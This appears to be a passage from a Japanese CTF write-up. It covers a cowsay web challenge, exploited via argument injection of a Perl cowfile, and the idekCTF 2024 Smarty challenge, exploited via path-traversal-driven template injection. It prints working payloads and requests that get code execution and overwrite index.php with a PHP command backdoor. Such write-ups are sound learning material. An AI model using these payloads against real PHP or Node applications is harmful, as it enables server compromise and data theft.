と出てくる。フラグはルート直下に置かれているtxtファイルだが、ファイル名は乱数が付けられているのでRCEまでつなげる必要がある。

コマンド実行時にzxというライブラリが使われていて怪しいが、ライブラリレベルで単純なコマンドインジェクションは防止されている。他にパッと見て怪しい部分もなかった、以前Bunのシェル機能でエスケープを良い感じにかいくぐってRCEする問題がありとても雰囲気が似ていたこともあり、まずはガチャガチャやってみることにした。すると-bを入れてみると、目が変化した。

 __
<  >
 --
        \   ^__^
         \  (==)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

お。コマンドライン引数の指定ができそうである。manページを見てみると、-bのフラグも書いてあった。manページを見るとcowfileというものがあり-fで読み込むことができるとある。Cowfile Formatを見るとなんとperlで書かれているとのこと。どう動くか動かしてみよう。

$ echo 'exec("id");' > test.cow

$ cowsay -f ./test.cow hoge
uid=1000([redacted]) gid=1000([redacted]) groups=1000([redacted]),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),1001(docker)

いいですね。今回は、cowsayの結果が/app/public/outに保存される。なので、cowsayの結果でありながら、Cowfileとして読み込めるものが作れれば任意のコマンドが実行できそうである。あとはエラーを頑張って取り除く。自分は運良く__END__という便利構文が早々に見つかったので直ぐに構築できた。

$ cowsay 'exec("cat /flag*"); __END__' > payload.cow

$ cat payload.cow
 _____________________________
< exec("cat /flag*"); __END__ >
 -----------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

$ cowsay -f ./payload.cow hoge
flag{dummy}

ということで以下の手順でフラグが手に入る。

  1. exec("cat /flag*"); __END__でcowsayする。すると#50acabfa-bea3-4bcb-8b15-b910cf3a62b0のようにファイル名が得られる
  2. 次に-fフラグで実行するために以下のようなリクエストを送る。
GET /say?message[]=-f&message[]=..%2F..%2F..%2F..%2F..%2F..%2Fapp%2Fpublic%2Fout%2F50acabfa-bea3-4bcb-8b15-b910cf3a62b0&message[]=hoge HTTP/1.1
Host: 34.170.146.252:29943
Connection: keep-alive

messageではなくmessage[]で送っているのは、コマンドのスペースをそのままスペースで送るのではなく配列の形で送らないとちゃんと解釈されなかったためである。正直どういう理屈で配列だと動くのかは分かってない。実験すると出来た。

  1. 2で生成されたファイルを参照すると、cat /flag*の結果が入っている。GET /out/[手順2の出力]

idekCTF 2024 Writeup

https://ctftime.org/event/2304

web/untitled-smarty-challenge

ソースコード有り。PHPで書かれたサイトが与えられる。index.phpは非常に簡潔。

<?php

require 'vendor/autoload.php';
use Smarty\Smarty;
$smarty = new Smarty();

if (isset($_GET['page']) && gettype($_GET['page']) === 'string') {
    $file_path = "file://" . getcwd() . "/pages/" . $_GET['page'];
    $smarty->display($file_path);
} else {
    header('Location: /?page=home');
};
?>

composerでSmartyを入れてテンプレートを読み込んでいる。クエリストリング経由でpageを指定して開くことができるが、単純なパストラバーサルがある。なので、方針としては、何等かのファイルを読み込ませて、SmartyでSSTIしてRCEに繋げていく。

どのファイルをパストラバーサルで持って来るか

問題はどのファイルを読み込むかという点であるが、配布ソースコードに含まれているファイルに面白そうなファイルは無い。かつ、openbdir.iniというファイルでopen_basedir = "/app"のように/app以下のファイルしか読み込めなくなっている。ということで当初は、composerで読み込まれた/app/vendor以下のファイルを漁っていた。

漁っている途中に/app/templates_cというフォルダができており、それ以下にSmartyのキャッシュが保存されていることに気が付いた。中を見るとパスが含まれていた。パスにSSTIのペイロードを埋め込めないだろうか?

Dockerで環境を起動して試してみよう。/?page=homeのように読み込まれるので、ここでSmartyのSSTIペイロードである{4*4}をパスに入れ込んでみよう。/?page={4*4}/../homeとしてみる。{4*4}はフォルダ名として認識されるので../で戻してhomeの画面が出てくる。ここでDocker Desktopからターミナルを起動して見てみると/app/templates_c/42c32515df92fd94929071a7670634914065a86a_0.file_home.phpというキャッシュファイルができていた。中身は以下のような感じ。

/app/templates_c # cat 42c32515df92fd94929071a7670634914065a86a_0.file_home.php
<?php
/* Smarty version 5.4.0, created on 2024-08-18 14:51:04
  from 'file:///app/pages/{4*4}/../home' */

/* @var \Smarty\Template $_smarty_tpl */
if ($_smarty_tpl->getCompiled()->isFresh($_smarty_tpl, array (
  'version' => '5.4.0',
  'unifunc' => 'content_66c20a58edd239_18775078',
  'has_nocache_code' => false,
  'file_dependency' => 
  array (
    '42c32515df92fd94929071a7670634914065a86a' => 
    array (
      0 => '///app/pages/{4*4}/../home',
      1 => 1723762455,
      2 => 'file',
    ),
  ),
…

良い感じに{4*4}がパス経由で埋め込めている。これで/?page=../templates_c/42c32515df92fd94929071a7670634914065a86a_0.file_home.phpを読み込むと出力に///app/pages/16/../homeというのが含まれて、ちゃんと動いていることが分かる。パス経由でSSTIができることが分かった。試しに本番環境でも同様のパスを指定して、同じキャッシュファイルを指定してみると動いた。hex値が付いているが同じパスを指定していれば同じキャッシュファイル名になるようだ。これで、手元でファイル名を取得できれば、本番環境でも流用でき、動かすことができることが分かった。

RCEするためのSSTIペイロードを用意する

後は、RCEコードを用意する。フラグはDockerfile上でRUN mv /flag.txt /flag-$(head -c 6 /dev/urandom | xxd -p).txtのように作られている。色々なサイトでSmartyでSSTIしてRCEするpayloadを探してきて試すが刺さらない。自分で用意する必要がありそうだ。かつ、パスに指定する関係などで、.(dot), *, '(と忘れたけれど他にも少し)など使えない文字があるので、その辺も頑張って回避する。

Smartyソースコードを読みながら色々探すと、writeFileが使えるパスを発見した。

{$smarty.template_object->getSmarty()->writeFile("index.php","<?php echo `id` ?>")}

これでindex.phpを上書きすることでRCEに繋げることができる。このままだと.が使えないのでどうにかする必要がある。まず、$smarty.template_objectの部分は[](ブラケット)を使って回避可能。

{$smarty["template_object"]->getSmarty()->writeFile("index.php","<?php echo `id` ?>")}

index.phpの部分はsmartyのバージョンに含まれているドットを持ってきて、変数をうまく使いながら用意する。

{assign var=dot value=$smarty["version"]|substr:1:1}
{assign var=index value="index"|cat:$dot|cat:"php"}

$smarty["version"]5.4.0なので、その2文字目(0-indexedだと1文字目)を持ってくることで変数$dotを1行目で用意し、2行目で文字列結合をして$indexにindex.phpを用意した。これを使えばいいので最終的には以下のようなpayloadを用意した。

{assign var=dot value=$smarty["version"]|substr:1:1}{assign var=index value="index"|cat:$dot|cat:"php"}{$smarty["template_object"]->getSmarty()->writeFile($index,"<?php echo `id` ?>")}

試してみよう

さっきのpayloadを試してみる。さっきと同様に入れてみよう。

/?page={assign%20var=dot%20value=$smarty[%22version%22]|substr:1:1}{assign%20var=index%20value=%22index%22|cat:$dot|cat:%22php%22}{$smarty[%22template_object%22]-%3EgetSmarty()-%3EwriteFile($index,%22%3C?php%20echo%20`id`%20?%3E%22)}/../home

このような感じ。5477bb16a2b28dc47d7ecc9c2938b3b0e2722888_0.file_home.phpというファイルが出来た。なので、以下のように呼んでSSTIを発動させる。

/?page=../templates_c/5477bb16a2b28dc47d7ecc9c2938b3b0e2722888_0.file_home.php

これでindex.phpが書き換えられたので、/を開いてみるとidコマンドが動いていることが確認できる。ok。

フラグを取る

フラグを取るコマンドにも*が使えない同様の制約が係るので全部回避できるようなものを探すとcat /$(ls / | grep flag)で取れた。つまり最終的なpayloadは以下。

{assign var=dot value=$smarty["version"]|substr:1:1}{assign var=index value="index"|cat:$dot|cat:"php"}{$smarty["template_object"]->getSmarty()->writeFile($index,"<?php echo `cat /$(ls / | grep flag)` ?>")}

これ以降はidコマンドを試したときとほぼ同等であるが、URLに入れ込むと以下のようなURLになる。

/?page={assign%20var=dot%20value=$smarty[%22version%22]|substr:1:1}{assign%20var=index%20value=%22index%22|cat:$dot|cat:%22php%22}{$smarty[%22template_object%22]-%3EgetSmarty()-%3EwriteFile($index,%22%3C?php%20echo%20`cat%20/$(ls%20/%20|%20grep%20flag)`%20?%3E%22)}/../../../home

何が違うかというとhome前の../の数で2つ増えている。これはpayloadに2つ/が含まれているのでパス的には2つディレクトリが増えているため帳尻を合わせているだけである。これで2de3309f348782e8f310688cb35a3e03db1bfc61_0.file_home.phpが出来るので、/?page=../templates_c/2de3309f348782e8f310688cb35a3e03db1bfc61_0.file_home.phpを踏んでから/を開くとフラグが出てくる。